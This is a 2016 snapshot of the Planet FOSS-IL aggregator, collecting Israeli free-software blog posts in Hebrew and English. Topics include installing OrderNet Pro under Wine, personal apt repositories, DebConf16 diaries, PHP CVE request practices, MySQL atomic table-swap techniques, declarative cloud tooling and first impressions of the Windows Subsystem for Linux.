פלאנט תוכנה חופשית בישראל (Planet FOSS-IL)

24 July, 2016

Hamakor

אוגוסט פינגווין 2016 – פורסם לוח הזמנים

אלה מכם שחיכו לפירוט ההרצאות של אוגוסט פינגווין בשביל להירשם, מוזמנים:
לו״ז http://ap.hamakor.org.il/2016/agenda.html
הרשמה https://www.eventbrite.com/e/august-penguin-2016-tickets-25898841131

כמו בשנים שעברו, אפשר יהיה להירשם במקום, אבל אנחנו מבקשים ממי שיכול להירשם קודם, כדי לפשט את התהליכים.

להתראות בכנס!

24 July, 2016 05:53 PM

23 July, 2016

Guy Rutenberg

Installing OrderNet Pro on Debian Jessie

OrderNet is a a popular stock trading platform in Israel. OrderNet comes in two versions: The regular version is based on Silverlight and can be used on Linux using Pipelight. The Pro version is a desktop program written in .NET Framework and features better interface. This post walks through the steps needed to get OrderNet Pro running on Debian Jessie using Wine.

OrderNet Pro on Debian Jessie. OrderNet Pro running on Debian Jessie.

Installing Wine

OrderNet Pro is a 32bit application, so we will need to enable the i386 architecture. Also it requires a more recent version of Wine than is available at the stable repository, so we will enable the Jessie backports repository.

# echo "deb http://httpredir.debian.org/debian jessie-backports main contrib non-free" >> /etc/apt/sources.list
# dpkg --add-architecture i386
# apt-get update
# apt-get install -t jessie-backports wine-development wine32-development winetricks winbind

Now we go one to install the .Net framework. To do so we will create a different Wine prefix for 32bit.

$ export WINE=/usr/bin/wine-development
$ export WINESERVER=/usr/bin/wineserver-development
$ export WINEARCH=win32
$ export WINEPREFIX=$HOME/.wine32
$ winetricks dotnet40 corefonts

Installing Wine Gecko

Download the Wine Gecko MSIs for suitable for your wine version. The links below work for wine-developement packaged for Jessie Backports (wine-1.9.12):

$ wget https://dl.winehq.org/wine/wine-gecko/2.44/wine_gecko-2.44-x86.msi
$ wine-development msiexec /i wine_gecko-2.44-x86.msi

Check the installation by running

$ wine-development wineboot -fu

If you get the following error

Could not load wine-gecko. HTML rendering will be disabled.

then there is a problem with your wine-gecko installation. In that case it’s best to remove ~/.wine32 and try again form the beginning.

Installing OrderNet Pro

OrderNet Pro is a ClickOnce application, so there is no real installation, you just have to run it once.

wine-development rundll32 dfshim.dll,ShOpenVerbApplication https://ibiclickonce.ordernet.co.il/files/rts/ClickOnce/Ibi/Fmr.Rts.Shell.application

where the URL is taken from your investment firm’s OrderNet Pro page. For example, for IBI the page https://ibiclickonce.ordernet.co.il/ has a link to the correct URL.

Creating a shortcut

In order to make launching OrderNet Pro as easy as any other application, we need to create a desktop file. Start by downloading an appropriate icon:

$ wget -O ~/.local/share/icons/hicolor/256x256/apps/ordernet-pro.png https://ibiclickonce.ordernet.co.il/LaNegra.png

and then create the desktop file itself:

$ cat << EOF > ~/.local/share/applications/ordernet-pro.desktop
[Desktop Entry]
Type=Application

Name=OrderNet Pro
%Comment=A sample application
Exec=env WINEPREFIX=$HOME/.wine32 wine-development rundll32 dfshim.dll,ShOpenVerbApplication https://ibiclickonce.ordernet.co.il/files/rts/ClickOnce/Ibi/Fmr.Rts.Shell.application
Icon=ordernet-pro
Terminal=false
EOF

23 July, 2016 02:38 PM

20 July, 2016

Gabor Szabo

Contract work vs Startup life

How do you finance your start-up or your business? How do you switch from consulting or contract work where generally you sell your time, to a business where you build a product or an on-lines service and make money off that?

For the full article visit Contract work vs Startup life

20 July, 2016 06:06 AM

18 July, 2016

Gabor Szabo

YAPC::NA 2016 report

After 3 years break I sort-of attended YAPC::NA 2016. I was there in the hotel, I gave a talk, ran a tutorial, and even managed to meet some of the nice people, but my family came along and thus I had to make the hard decision whether to attend the talks or to go to Universal Studios, to Sea World, and to the Kennedy Space Center. The latter 3 won.

For the full article visit YAPC::NA 2016 report

18 July, 2016 02:09 PM

15 July, 2016

Guy Rutenberg

Creating a personal apt repository using `dpkg-scanpackages`

From time to time I build and backport deb packages. Most of them are for my personal use, but sharing them would be nice. Another advantage for setting up a personal repository over directly installing deb files is that you can install dependencies from that repository automatically. Especially useful if one source package builds multiple binary packages which depend on one another.

There is a list of programs ways how to setup such personal repository in the Debian wiki. However, I found most ways to be too cumbersome for my limited requirements. The way I’m describing below is probably the simplest and easiest way to get up and running.

First thing is installing dpkg-dev which provides dpkg-scanpackages.

sudo apt install dpkg-dev

Next put the deb files you created in some local repository such as /usr/local/debian and cd into it.

# dpkg-scanpackages -m . | gzip -c > Packages.gz

will scan all the *.deb files in the directory and create an appropriate Packages.gz file. You need to repeat this step whenever you add new packages to /usr/local/debian.

Finally to enable the new local repository, add the following line to /etc/apt/sources.list:

deb [trusted=yes] file:///usr/local/debian ./

The [trusted=yes] options instruct apt to treat the packages as authenticated. Alternatively, if you want to share it with others, make sure that your webserver serves the directory and point to it

deb https://www.guyrutenberg.com/debian/jessie ./

(You will need the apt-transport-https in order to use https repositories).

Don’t forget to apt update before trying to install packages from the new repository.

15 July, 2016 04:53 PM

13 July, 2016

Itzik Kotler

Fuzzing The Kill Chain

Fuzzing is a technique in software testing where you generate a number of random inputs, and see how a program handles it. So what does a testing technique have to do with a process such as the Cyber Kill Chain as developed by Lockheed Martin? Easy! Just as fuzzing a software produces resilient software, fuzzing a process will produce a validated process. The Kill Chain takes about seven steps that adversaries must complete in order to achieve their goals, but will it always be the case? Can an attacker pull off a successful attack with just one step? Or three? That’s what we’re going to fuzz out ...


(Again, in order to avoid cross-posting between the different blogs, that was just a brief paragraph and a link to the original post is below).

Continue reading: https://www.safebreach.com/blog/fuzzing-the-kill-chain

Full text

13 July, 2016 08:14 PM

12 July, 2016

Oldie

Com4Com: תרגיל ללכידת לקוחות? / עדכון: לא תרגיל

עדכון 12/7/2016 את הפוסט המופיע בהמשך פרסמתי ב29/5/2011. מאז חלפו 5 שנים ומחיר השירות של Com4Com נשאר כשהיה, 3ש"ח לתלמיד. אין לי אלא להודות שהייתי ציני וקטן אמונה. טעיתי. בבית הספר של ילדי המערכת בשימוש רב כל כך שהייתי שמח … להמשיך לקרוא

12 July, 2016 07:59 AM

09 July, 2016

Lior Kaplan

Debconf16 – יום שלישי

קמתי לא במיטבי תודות לכאב גרון שמנע ממני לישון כמו שצריך, וגררתי את עצמי לארוחת הבוקר. בארוחה ישבתי ליד חבר'ה של קנוניקל ו-HPE, וכך לצד כמה שיחות טכניות על שפות תכנות (החלפת דיעות הדדית, לא מלחמת שפות) לשמוע קצת גם על מאחורי הקלעים של החברות. לדוגמה, כמה מאמצים וכסף שפכה HPE (לאחר הפיצול) כדי לקבוע לוגו של מרובע חלול בצבע ירוק. זה שהמפגש הוא עם האנשים הטכניים מאפשר גם לחוות את התרבות של הארגון (לטוב או לרע) ולא רק לשמוע את מכונת יחסי הציבור וההודעות לעיתונות. בו זמנית, צריך לזכור שחלק מהאנשים שמגיעים לכנס מרשימים ביותר מבחינה טכנית ויש להם רקורד משמעותי (טכנית ומקצועית באותם גופים).

מאחר והשנה אנחנו בחדרים פרטיים ולא משותפים, החלטתי להמשיך לעבוד מהחדר עד שארגיש מספיק טוב. השוואתי את תיקוני האבטחה של PHP מה עם שעושה רמי מרדהאט/פדורה ומצאתי שאני מסונכרן איתו מבחינת אבטחה, כאשר הוא מוסיף עוד כמה תיקונים פונקציונליים עבור רדהאט שאותם לא אקח.

בצהרים ישבתי ליד לוקאס (ה-DPL לשעבר) וליד מהדי (ה-DPL הנוכחי). מפה לשם השיחה התגלגלה גם לנושא קלסטרים (HPC) ששניהם עסוקים בתחזוקה. בין השאר איך עושים בוט למאות מכונות מהרשת תוך כמה דקות, לדוגמה העובדה שה-image של מערכת ההפעלה מגיע באמצעות פרוטוקול bittorrent כדי לפזר את העומס בקלסטר במקום שיהיה שרת מרכזי אחד שצריך לספק עותק לכל המכונות.

אחר הצהרים צפיתי מרחוק בהרצאות של HPE על ההפצה הפנימית שלהם, שהולכת ומתקרבת לדביאן. הם שואפים לעבוד עם דביאן "נקי" במקום להתבסס על דביאן כדי להכניס שינויים. זה כמובן דורש הרבה עבודה (וסבלנות). כמו כן, התקבלה החלטה של ה-CTO שלהם שזאת ההפצה שמחייבת את הארגון פנימית, כך שיש להם עליה ניכרת במשתמשים הפנים ארגוניים ובתפוצה של המערכת. לאחר מכן המשכתי להרצאה של דמיטרי מקנוניקל על הפורט שלהם ללינוקס על ה-mainframe. משהו שסוזה שם שנים ורדהאט הצטרפה לא מזמן יחסית. נראה לאן זה יוביל.


תויק תחת:Debian GNU/Linux

09 July, 2016 04:14 PM

Debconf16 – יום ההגעה

דביאן החליטו השנה לקיים את הכנס ב-Cape Town שבדרום אפריקה. פעם ראשונה שהכנס מתקיים ביבשת הזאת (מפתיע לאור הכלל שכל שנה הכנס מתקיים ביבשת אחרת). נראה שהמרחק עושה את שלו, וגם העובדה שהוא מתקיים בחורף (חצי כדור דרומי), כי כמות האנשים שנרשמה היא קטנה יותר – 250 איש.

לכנס הגעתי אתמול (לפני יום ההגעה) כדי לעזור בהכנות האחרונות לפני שהמאסה העיקרית של אנשים מגיעה. אבל גיליתי שכמעט ואין מה לעשות כי השנה נראה שהיו קצת שיהוקים בארגון וחלק מהדברים שצריך לסדר עוד לא היו מוכנים. תגי השם הגיעו רק מאוחר בלילה. אז הסתפקתי קצת בחיבוקים עם אנשים מוכרים ושיחות התעדכנות (ולקינוח צפיה במשחק היורו עם קהל בינלאומי). בלילה עוד היתה התראת שריפה מה שגרם להכרות גם עם הפיג'מה של חלק מהאנשים.

לאחר ששנה שעברה ביליתי המון שעות בדוכן ההרשמה (frontdesk), הודעתי שהשנה אני רק אעזור בהתחלה ואתפנה לדברים אחרים שאני רוצה להספיק. כך שהיום, יום ההגעה התייצבתי בדוכן הרישום כדי להתמודד עם הכאוס, גם שם הרבה אנשים שמגיעים וגם העובדה שלאט לאט מתחילים להגיע דברים בלתי צפויים. אחד מהם היה הצורך להתחיל לחלק כרטיסי אוכל לכולם, גם אלה שהגיעו לכנס עד עכשיו וגם לחדשים (כ-200 איש). בין לבין חולקו גם תגי שם, חולצות, תיקים וכו'.

בעקבות העומס של החלוקה, והרצון שלא יהיו לאנשים בעיות עם האוכל, הפכתי למשרד נייד של דוכן ההרשמה והמשכתי בחלוקה במהלך ארוחת הצהרים וארוחת הערב (כולל חלקות כרטיסים תוך כדי כתיבת הפוסט הזה). מבחינתי זה יום התנדבות מרוכז בלי כמעט לגעת במחשב. מעבר לזה שאני מנצל גם העובדה שהכנס הוא גם חופשה וצריך לנוח בו (שינה, אוכל וגם זמן שקט בלי מחשב).

במהלך הכנס אני מקווה להתקדם קצת עם טיפול בחבילות שלי שכמעט שלא קיבלו יחס בשנים האחרונות. מקווה לפחות לעדכן את php-doc לאחר ש-PHP 7 יצאה לפני חצי שנה בנוסף, מקווה להגיע לעוד דברים בעולם הקוד הפתוח שמחכים קצת לזמן פנוי שלי.

הערב עצמו נחתם בצפיה משותפת במשחק היורו של גרמניה/איטליה. למרות שבקהל הגיקים אין אוהדים שרופים, זה עדיין תענוג לראות משחק בינלאומי עם אנשים מאותן מדינות, זה הופך את החווייה לצבעונית יותר.


תויק תחת:Debian GNU/Linux

09 July, 2016 03:34 PM

08 July, 2016

Lior Kaplan

First uses of the PHP 5.4 security backports

I recently checked the Debian PHP 5.4 changelog and found out this message (5.4.45-0+deb7u3 and 5.4.45-0+deb7u4):

* most patches taken from https://github.com/kaplanlior/php-src
Thanks a lot to Lior Kaplan for providing them.

I was very pleased to see my work being used, and I hope this would save other time while providing PHP long term support.

Also, while others do similar work (e.g. Remi from RedHat), it seems I’m the only when that make this over GIT and with full references (e.g. commit info, CVE info and bug number).

Comments and suggestions are always welcome… either mail or even better – a pull request.


Filed under: Debian GNU/Linux, PHP

Full text

08 July, 2016 12:07 AM

07 July, 2016

Lior Kaplan

Anonymous CVE requests

A year ago I’ve blogged about people requesting CVE without letting upstream know. On the other hand, per requests from Debian, I’m working on improving PHP upstream CVE request process. For the last few release this means I ask the security list members which issues they think should have CVE and ask for them in parallel to the release being made (usually in the space between the release being tagged publicly and is actually announced).

In the last week, I’ve encountered a case where a few CVE were assigned to old PHP issues without any public notice. The fixes for these issues have been published a year ago (August 2015). And I find out about these assignment through warning published by the distributions (mostly Debian, which I’m close to).

Sometimes things fall between the chairs, and it’s perfectly OK to ask for CVE to make sure security issues do get attention even if time has passed. But after the issues (and fixes) are public, I don’t see a reason to do so without making the request itself public as well. And even if the request wasn’t public, at least notify upstream so this info can be added to the right places. Most of these bug were found out when I started to add sequential number into the CVE search after getting an a notice from Debian for two of the issues.

And while working on processing these issues for PHP, I also notice they weren’t updated for libGD where appropriate (including recent issues).

Beyond keeping the eco-system up to date, another aspect of publicity is getting opinions from other parties. For example, in the case of CVE-2015-8879, RedHat doesn’t agree with the classification of the bug as security. To give an example of a way things should happen is the request of CVE for PHP 5.5.34 in April, in which the Gentoo security team asked for assignment without upstream knowledge, Debian representative CCs upstream (Thanks!) and also asks CVE for issues covered by Ubuntu, to which the Ubuntu guy then adds some details.

I hope this blog post will reach the anonymous people behind these CVE requests, and also the people assigning them. Without transparency and keeping things in synchronization, the idea of having a centralized location for security warning is not going to accomplish its goals.


Filed under: Debian GNU/Linux, PHP

Full text

07 July, 2016 11:51 PM

Hamakor

אוגוסט פינגווין 2016 – ההרשמה נפתחה

עמותת המקור שמחה להזמין את כל קהילת התוכנה החופשית והקוד הפתוח לכנס אוגוסט פינגווין 2016.

הכנס יערך ביום שישי, 05.08.2016 בבנין 90, אוניברסיטת בן גוריון, באר שבע.

עוד פרטים באתר הכנס ובאתר ההרשמה; בכל נושא שהוא, ניתן לפנות למארגנים בכתובת ap2016@hamakor.org.il.

להתראות בכנס!

 

07 July, 2016 03:49 PM

Shlomi Noach

Solving the non-atomic table swap, Take III: making it atomic

With the unintended impression of becoming live blogging, we now follow up on Solving the non-atomic table swap, Take II and Solving the Facebook-OSC non-atomic table swap problem with a safe, blocking, atomic solution

Why yet another iteration?

The solution presented in Solving the non-atomic table swap, Take II was good, in that it was safe. No data corruption. Optimistic: if no connection is killed throughout the process, then completely blocking.

Two outstanding issues remained:

As it turns out, there's a simpler solution which overcomes both the above. As with math and physics, the simpler solution is often the preferred one. But it took those previous iterations to gather a few ideas together. So, anyway:

Safe, locking, atomic, asynchronous table swap

Do read the aforementioned previous posts; the quick-quick recap is: we want to be able to LOCK a table tbl, then do some stuff, then swap it out and put some ghost table in its place. MySQL does not allow us to rename tbl to tbl_old, ghost to tbl if we have locks on tbl in that session.

The solution we offer is now based on two connections only (as opposed to three, in the optimistic approach). "Our" connections will be C10, C20. The "normal" app connections are C1..C9, C11..C19, C21..C29.

Some notes

What happens on failures?

Much fun. Just works; no rollback required.

No matter what happens, at the end of operation we look for the ghost table. Is it still there? Then we know the operation failed, "atomically". Is it not there? Then it has been renamed to tbl, and the operation worked atomically.

A side note on failure is the matter of cleaning up the magic tbl_old. Here this is a matter of taste. Maybe just let it live and avoid recreating it, or you can drop it if you like.

Impact on app

App connections are guaranteed to be blocked, either until ghost is swapped in, or until operation fails. In the former, they proceed to operate on the new table. In the latter, they proceed to operate on the original table.

Impact on replication

Replication only sees the RENAME. There is no LOCK in the binary logs. Thus, replication sees an atomic two-table swap. There is no table-outage.

Conclusion

This solution satisfies all we wanted to achieve. We're unlikely to give this another iteration. Well, if some yet-more-elegant solution comes along I'll be tempted, for the beauty of it, but the solution offered in this post is simple-enough, safe, atomic, replication friendly, and should make everyone happy.

07 July, 2016 12:54 PM

06 July, 2016

Ilya Sher

Declarative primitives or mkdir -p for the cloud

After some positive feedback regarding the concept of declarative primitives I would like to elaborate about it.

Defining declarative primitives

Declarative primitives is just a description of existing techniques. I gave it a name because I’m not aware of any other term describing these techniques. The idea behind declarative approach is to describe the desired state or result and not particular command or operations to achieve it.

Example: mkdir -p dir1/dir2/dir3

The outcome of the command does not depend on current state (whether the directory exists or not). You describe the desired state: directories dir1, dir2 and dir3 should exist after the command is run. Note that mkdir dir1/dir2/dir3 does not have the same effect: it fails if dir1 does not exist or dir2 does not exist or if dir3 exists.

The phrase declarative primitives emphasizes granularity. Existing declarative tools for the cloud operate on many described resources, build dependency graphs and run in order that they decide. Declarative primitives provide a very flexible way to control a single resource or a group of few resources of the same type. The flexibility comes from granularity. You decide how you combine the resources. You can easily integrate existing resources. You can modify just the properties of your interest on the resources you choose. This approach is ideal of scripting in my opinion.

Where are declarative primitives for the cloud?

sky-414198_640

I believe that when writing a script, using mkdir -p should be similar to using AwsElb(...).converge() for example. I’m working on implementing it (as a library for the Next Generation Shell) and I’m not aware of any other project that does it.

There are many projects for managing the cloud, how are they different?

Here are the solutions that I’m aware of and how familiar I am with each one:

  1. CloudFormation – using frequently (I prefer YAML syntax for it)
  2. Terraform – I’ve read the documentation and bits of source code
  3. Cloudify – familiar with the product, made modules for it
  4. Puppet – was using it intensively on few different projects
  5. Chef – was using it intensively in many projects
  6. Ansible – unfamiliar with this one (only took a look at documentation) so not reviewing it below

Scripting the cloud – time to do it right!


06 July, 2016 05:01 PM

Boris Shtrasman

לראות ולחייך

איזה תענוג לראות את הדבר הבא כאשר מדברים על בנייה של מוצר -
Linux
  • Python v2.7
  • make
  • A proper C/C++11 compiler tool chain, for example GCC
  • native-keymap needs libx11-dev.
    • On Debian-based Linux: sudo apt-get install libx11-dev
    • On Red Hat-based Linux: sudo yum install libx11-devel.x86_64 # or .i686.
  • Building deb and rpm packages requires fakeroot and rpm, run: sudo apt-get install fakeroot rpm
After you have these tools installed, run the following commands to check out Code and install dependencies:

Windows
git clone https://github.com/microsoft/vscode
cd vscode
scripts\npm install


למה זה מגניב ? כי מדובר על מוצר Visual Studio Code, שזה סביבת פיתוח מבית מייקרוספט ובה משתמשים במוצרי קוד פתוח כמשהוא מקובל ומשומש (לא שזה חדש לראות את זה , פשוט מחמם את הלב לראות שזה הפך להיות כל כך מיינסטרים).

06 July, 2016 10:21 AM

03 July, 2016

Oz Nahum

OpenWRT SSH init script with port forwarding

If you have a publicly available server you can setup a permanent SSH connection to it from your OpenWRT. Add remote port forwarding to the plan, and you get an easy way to always access your hosts where your OpenWRT router is. continue reading...

03 July, 2016 07:21 PM

02 July, 2016

Ilya Sher

Why CloudFormation is better than Chef and Puppet

Strange comparison, I know.

apple-926456_640

Scripting vs declarative approaches

The aspect I’m looking at is scripting (aka imperative programming) vs declarative approach. In many situations I choose the scripting approach over declarative because the downsides of declarative approach outweigh the benefits in the situations that I have.

Declarative approach downsides

Downsides of Chef, Puppet and other declarative systems? Main downsides are complexity and more external dependencies. These lead to:

  1. Fragility
  2. More maintenance
  3. More setup for anything except for the trivial cases

I can’t stress enough the price of complexity.

Declarative approach advantages

When the imperative approach would mean too much work the declarative approach has the advantage. Think of SQL statements. It would be enormous amounts of work to code them by hand each time. Let’s summarize:

  1. Concise and meaningful code
  2. Much work done by small amount of code

Value of tools

I value the tools by TCO.

Example 1: making sure a file has specific content. It could be as simple as echo my_content > my_file in a script or it could be as complex as installing Chef/Puppet/Your-cool-tool-du-jour server and so on…

Example 2: making sure that specific load balancer is set up (AWS ELB). It could be writing a script that uses AWS CLI or using declarative tools such as CloudFormation or Terraform (haven’t used Terraform myself yet). Writing a script to idempotently configure security groups and the load balancer and it’s properties is much more work than echo ... from the previous example.

While the TCO greatly depends on your specific situation, I argue that the tools that reduce larger amounts of work, such as in example 2, are more likely to have better TCO in general than tools from example 1.

“… but Chef can manage AWS too, you know?”

Yes, I know… and I don’t like this solution. I would like to manage AWS from my laptop or from dedicated management machine, not where Chef client runs. Also, (oh no!) I don’t currently use Chef and bringing it just for managing AWS does not seem like a good idea.

Same for managing AWS with Puppet.

Summary

Declarative tools will always bring complexity and it’s a huge minus. The more complex the tool the more work it requires to operate. Make sure the amount of work saved is greater than the amount of work your declarative tool requires to operate.

Opinion: we can do better

I like the scripting solutions for their relative simplicity (when scripts are written professionally). I suggest combined approach. Let’s call it “declarative primitives”.

Imagine a scripting library that provides primitives AwsElb, AwsInstance, AwsSecGroup and such. Using this primitives does not force you to give up the flow control. No dependency graphs. You are still writing a script. Minimal complexity increase over regular scripting.

Such library is under development. Additional advantage of this library is that the whole state will be kept in the tags of the resources. Other solutions have additional state files and I don’t like that.

Sample (NGS language) censored code that uses the library follows:

my_vpc_ancor = {'aws:cloudformation:stack-name': 'my-vpc'}

elb = AwsElb(
    "${ENV.ENV}-myservice",
    {
        'tags': %{
            env ${ENV.ENV}
            role myservice-elb
        },
        'listeners': [
            %{
                Protocol TCP
                LoadBalancerPort 443
                InstanceProtocol TCP
                InstancePort 443
            }.n()
        ]
        'subnets': AwsSubnet(my_vpc_ancor).expect(2)
        'health-check': %{
            UnhealthyThreshold 5
            Timeout 5
            HealthyThreshold 3
            Interval 10
            Target 'SSL:443'
        }.n()
        'instances': AwsInstance({'env': ENV.ENV, 'role': 'myservice'}).expect()
    }
)

elb.converge()

It creates a load balancer in an already existing VPC (which was created by CloudFormation) and connects existing instances to it. The example is not full as the library is work in progress but it does work.


Have fun and watch your TCO!


02 July, 2016 09:06 AM

24 June, 2016

sml

טיפ: התקנת NX על OpenSUSE Leap 42.1

בזמנו תיארתי את השימוש ב-NX כ"שולחן עבודה מרוחק" נוח, מהיר ומאובטח. מאז יצאו גרסאות עוד יותר נוחות להתקנה ולשימוש בשם NoMachine. במקום בו קיימת רשת מרובת מחשבים מאפשר השמוש ב NX , למשל, תחזוקה נוחה שלהם מעמדה יחידה.

הטקסט המלא

24 June, 2016 09:35 AM

20 June, 2016

Shlomi Noach

Solving the non-atomic table swap, Take II

Following up and improving on Solving the Facebook-OSC non-atomic table swap problem, we present a better, safe solution.

Quick, quickest recap:

We are working on a triggerless online schema migration solution. It is based on an asynchronous approach, similarly to the FB osc and as opposed to the synchronous solution as used by pt-online-schema-change.

We asynchronously synchronize (is that even a valid statement?) between some table tbl and a ghost table ghost, and at some time we want to cut-over: swap the two; kick out tbl and put ghost in its place and under its name.

However, we cannot use the single statement rename tbl to tbl_old, ghost to tbl, because we use the asynchronous approach, where at the time we lock tbl for writes, we still have some events we need to process and apply onto ghost before swapping the two.

And MySQL does not allow a lock tables tbl write; ... ; rename tbl to tbl_old, ghost to tbl.

In Solving the Facebook-OSC non-atomic table swap problem we suggested a way that works, unless when it doesn't work. Read the caveat at the end of the post. Premature death of a connection that participates in the algorithm causes a chain reaction that leads to the premature execution of the rename statement, potentially before we've applied those remaining events. This leads to data inconsistency between the old table and the new table, and is unacceptable.

To that effect, we were more inclined to go with the Facebook solution, which makes a two-step: lock tables tbl write; alter table tbl rename to tbl_old; ... ; alter table ghost rename to tbl;

This two-step solution is guaranteed not to have data inconsistency. Alas, it also implies an outage. There's a brief moment, in between the two renames, and during that time where we apply those last changes, where the table tbl is simply not there.

Not all applications will fail gracefully on such a scenario.

UDF

We looked at a solution based on UDFs, where we would create global wait conditions, that are not connection based.

We don't like UDFs. You need to compile them for every new version. Puppetizing their setup is not fun. We wouldn't like maintaining this. We wouldn't like doing the operations for this. Neither would the community.

We want to make this a community solution. Can we do without UDF?

Rewriting MySQL

We wish to avoid forking our own version of MySQL. It's not what we do and it's a pain.

A pure MySQL solution?

We found a solution to embrace; it is optimistic, and safe. hat optimistic means is explained further on, but let's discuss safe:

The previous solution we came up with as unsafe because breakage of a single component in the algorithm would lead to inconsistent data. The algorithm itself was fine, as long as no one would break it from the outside. This is the concern: what if some crazy cronjob that cleans up connections (kills idle connections, kills long running transactions) or some unfortunate user command kills one of the connections involved in the cut-over phase? This is not something that would happen every day, but can we protect against it? Our priority is to keep our data intact.

The solution allows breakage. Even in the face of death of connections, data is not lost/corrupted, and at worst -- causes a FB-like, recoverable outage scenario.

A step towards the solution, a flawed one

I wish to illustrate something that looks like it would work, but in fact has a hidden flaw. We will later improve on that solution.

Let's assume we have tblghost tables. We execute the following by multiple connections; we call them C1, C2, C3, ...:

Let's consider the above, and see why it is flawed. But first, why it would typically work in the first place.

What's the flaw?

We rename when C1 holds the lock. We check with C1 that it is alive and kicking. Yep, it's connected and holding the lock. Are you sure? Yep, I'm good! Really really sure? Yep! OK then, let's rename!

"Oh darn", says C1, "now that you went ahead to rename, but just before you actually sent the request, I decided to take time off and terminate". Or, more realistically, some job would kill C1.

What happens now? The rename is not there yet. All those queries get released, and are immediately applied onto tbl, and then the rename applies, kicks all those changes into oblivion, and puts ghost in place, where it immediately receives further writes.

Those blocking queries were committed but never to be seen again.

So here's another way to look at the problem: the rename made it through even though the connection C1 died just prior to that, whereas we would have loved the rename to abort upon such case.

Is there a way in MySQL to cause an operation to fail or block when another connection dies? It's the other way around! Connections hold locks, and those get released when they die!

But there's a way...

Three step, safe, optimistic solution

Here are the steps to a safe solution:

What just happened? Let's first explain some stuff:

What happens on failures?

This solution relies on the notion that if a previous connection failed, we would not be able to rename ghost to tbl because the table would still be there. That's what we were looking for; but instead of looking at locks, which get released when a connection terminates, we used a persistent entity: a table.

Conclusion

The algorithm above is optimistic: if no connections get weirdly killed, it's a valid locking solution, and queries & app are unaware that anything happened (granted, app will notice write latency). If connections do get weirdly killed, we get table-outage at worst case -- an outage that is already considered to be a valid solution anyhow. The algorithm will not allow data corruption.

20 June, 2016 12:29 PM

09 June, 2016

Oz Nahum

Mate Desktop Environment 1.14 for Gentoo

I am announcing here the release of the ebuilds collection of mate-desktop for gentoo. All ebuilds support building with traditional GTK+2 and the newer GTK+3. continue reading...

09 June, 2016 03:57 PM

27 May, 2016

Shlomi Fish

Tech Tip: Checking the Latest Build in Travis CI

If you are using Travis CI, you can check the latest build after a failed build by going to the “Build History” tab in your project’s main page (= https://travis-ci.org/shlomif/fc-solve or equivalent), and selecting the new commit.

Licence

Copyright by Shlomi Fish, 2016.

You can reuse this entry under the Creative Commons Attribution 3.0 Unported licence, or at your option any later version of it. See the instructions on how to comply with it.

27 May, 2016 12:43 PM

21 May, 2016

Amir Aharoni

I Deleted My Facebook Account

I used Facebook quite a lot. I posted lots of things, I got to know a lot of people, I learned about things that I wouldn’t learn anywhere else, I shared experiences.

But the feeling that I am the product and Facebook is the user got stronger and stronger as time passed. It happens with many other companies and products, but with Facebook it’s especially strong.

In February 2015 I stopped posting, sharing and liking, and I deleted Facebook apps from all my other devices. I continued occasionally reading and exchanging private messages in a private browser window.

Then I noticed that a few times things were shared in my name, and people liked them and commented on them. I am sure that I didn’t share them, and I am also quite sure that it wasn’t a virus (are there viruses that do such things on GNU/Linux?). Also, a few people told me that they received messages from me, and I’m sure that I didn’t send them; It’s possible that they saw something else under my name and thought that it’s a message even though it was something else, but in any case, nobody is supposed to think such a thing. That’s not how people are supposed to interact.

I am not a bug, not an A/B test, not a robot, not an integer in a database. I am Amir Aharoni and from today Facebook doesn’t use me. There are other and better ways to communicate with people.

Stop saying that “everybody is on Facebook”. I am not. I don’t feel exceptionally proud or special. I am not the only one who does this; a few of my friends did the same and didn’t write any blog posts or make any fuss about it.

You should delete your Facebook account, too.


Filed under: Facebook, Free Software, Internet

21 May, 2016 09:30 PM

Shachar Shemesh

על פטרת צפרניים ופרטיות

פוסט זה הוא תגובה לטור של ג׳קי לוי בישראל היום. מר לוי היקר, אני יהודי חרד. לא חרדי. אינני נוהג ללבוש שחורים, אפילו לא כאסטרטגיית דיאטה. את השקפתי הדתית ניתן לסכם במילה „אתאיסט”, אף כי אני מקיים באדיקות את הוראות מורינו הדגול רוג׳ר רביט (הוראות שמהכרותי עם הצדדים היותר פומביים של אישיותך, גם אתה לא […]

The post על פטרת צפרניים ופרטיות appeared first on לינוקס ותוכנה חופשית.

21 May, 2016 05:59 AM

10 May, 2016

Boris Shtrasman

windows subsystem for linux

אם כבר עברתי לצד האפל , חשבתי לעצמי אולי הבעיות בהן נתקלתי (חוסר תמיכה) יפתרו על ידי שימוש ב windows subsytem for linux.

הרי כבר הראתי שאם אני מפעיל מכונה וירטואלית ומעביר אליה התקן ניתן להשתמש בו מתוך המכונה,אז אולי אפשר לעשות את אותו הדבר ללא מכונה וירטואלית.

בשביל ההתקנה  יש לעבור ל developer mode ולהוריד preview (אני הלכתי על 14332) ,את ההורדה ביצעתי  באמצעות wget על וינדוס אבל אפשר גם דרך דפדפן.

בשביל להתקין תצטרכו לאשר את windows subsystem for linux תחת windows features בתוך programs and features.

לאחר איתחול הפעילו cmd ומתוכו הריצו bash וצרו משתמש (זאת כמובן אם אתם מסכימים לתנאי השימוש של ubuntu :) )




ההתקנה הולכת לתוך  %localAppData%\lxss אצלי היא לקחה 630 מ"ב .
מתחתיה התיקיות cache data home mnt root ו rootfs באופן מתפיע יש אפילו grub מותקן (רק שאני מאמין שאינו עוזר בשיט.

בשביל להסיר : lxrun.exe /uninistall

כמה דברים בסיסים להתחלה :

user@DELL-E6540:/proc$ uname -a
Linux DELL-E6540 3.4.0+ #1 PREEMPT Thu Aug 1 17:06:05 CST 2013 x86_64 x86_64 x86_64 GNU/Linux

user@DELL-E6540:/mnt/c$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.4 LTS"

user@DELL-E6540:/mnt/c$ mount
rootfs on / type rootfs (ro,relatime)
tmpfs on /dev type tmpfs (rw,seclabel,nosuid,relatime,mode=755)
devpts on /dev/pts type devpts (rw,seclabel,relatime,mode=600)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,seclabel,relatime)
user@DELL-E6540:/mnt/c$ sudo df -h
df: cannot read table of mounted file systems: No such file or directory


לצערי בגלל הבעיה של proc דברים אחרים חשובים אינם עובדים כמו lsusb ו lsmod (מה שמונע שימוש בדברים כמו wvdial למשל) .

התחלתי לוודא אילו כלים שהיום עובדים לי בwindows יעבוד מתוך ה subsystem.

netcat עובד.
telnet עובד.
git-svn אינו עובד (נתקע).
nmap אינו עובד (Problem binding to interface).
ping אינו עובד (icmp open socket: socket type not supported)

